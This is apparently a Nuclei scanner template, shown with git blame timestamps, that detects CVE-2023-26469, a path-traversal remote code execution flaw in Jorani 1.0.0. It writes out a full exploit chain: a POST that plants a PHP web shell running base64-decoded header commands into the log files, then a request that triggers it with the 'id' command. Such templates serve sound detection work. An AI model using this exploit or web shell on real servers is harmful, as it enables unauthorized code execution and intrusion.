2023-08-30 17:31:52 +00:00
|
|
|
id: CVE-2023-26469
|
|
|
|
|
|
|
|
info:
|
2023-08-30 20:01:43 +00:00
|
|
|
name: Jorani 1.0.0 - Remote Code Execution
|
2023-08-30 17:31:52 +00:00
|
|
|
author: pussycat0x
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2023-08-31 11:46:18 +00:00
|
|
|
Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Jorani to a patched version or apply the necessary security patches.
|
2023-08-30 17:31:52 +00:00
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-26469
|
|
|
|
- https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
|
2023-08-30 20:01:43 +00:00
|
|
|
- https://github.com/advisories/GHSA-7r9h-9r47-7vjj
|
|
|
|
- http://packetstormsecurity.com/files/174248/Jorani-Remote-Code-Execution.html
|
2023-08-31 11:46:18 +00:00
|
|
|
- https://jorani.org/security-features-in-lms.html
|
2023-08-30 20:01:43 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2023-08-31 11:46:18 +00:00
|
|
|
cve-id: CVE-2023-26469
|
2023-08-30 20:01:43 +00:00
|
|
|
cwe-id: CWE-22
|
2024-04-08 11:34:33 +00:00
|
|
|
epss-score: 0.93768
|
|
|
|
epss-percentile: 0.99071
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:jorani:jorani:1.0.0:*:*:*:*:*:*:*
|
2023-08-30 17:31:52 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 3
|
2023-08-31 11:46:18 +00:00
|
|
|
vendor: jorani
|
|
|
|
product: jorani
|
2023-09-06 11:43:37 +00:00
|
|
|
shodan-query: http.favicon.hash:-2032163853
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,jorani,rce,packetstorm
|
2023-08-30 17:31:52 +00:00
|
|
|
variables:
|
|
|
|
cmd: "id"
|
2023-08-30 20:01:43 +00:00
|
|
|
payload: "<?php if(isset($_SERVER['HTTP_{{header}}'])){system(base64_decode($_SERVER['HTTP_{{header}}']));} ?>"
|
|
|
|
header: "{{to_upper(rand_base(12))}}"
|
2023-08-30 17:31:52 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /session/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /session/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
csrf_test_jorani={{csrf}}&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login={{payload}}&CipheredValue=DummyPassword
|
|
|
|
- |
|
|
|
|
GET /pages/view/log-{{date_time("%Y-%M-%D")}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
X-REQUESTED-WITH: XMLHttpRequest
|
2023-08-30 20:01:43 +00:00
|
|
|
{{header}}: {{base64("echo ---------;{{cmd}} 2>&1;echo ---------;")}}
|
2023-08-30 17:31:52 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2023-08-30 20:01:43 +00:00
|
|
|
part: body_3
|
2023-08-30 17:31:52 +00:00
|
|
|
regex:
|
|
|
|
- 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=([\d,]+)\(.*?\)'
|
|
|
|
|
2023-08-30 20:01:43 +00:00
|
|
|
- type: status
|
|
|
|
part: header_3
|
|
|
|
status:
|
|
|
|
- 401
|
|
|
|
|
2023-08-30 17:31:52 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
2023-08-30 20:01:43 +00:00
|
|
|
part: body
|
2023-08-30 17:31:52 +00:00
|
|
|
group: 1
|
|
|
|
internal: true
|
|
|
|
name: csrf
|
|
|
|
regex:
|
2023-08-30 20:01:43 +00:00
|
|
|
- 'name="csrf_test_jorani" value="(.*?)"'
|
2024-03-25 11:57:16 +00:00
|
|
|
# digest: 4b0a00483046022100f279f5993ac3512238a3baf207fb2cfa9f07d9d31bf2d9ee9d1212e917d91b34022100de2f0ebf49d0310cbc6e77af37ca9cf46d60093728af9a2d07cc56878928ae0b:922c64590222798bb761d5b6d8e72950
|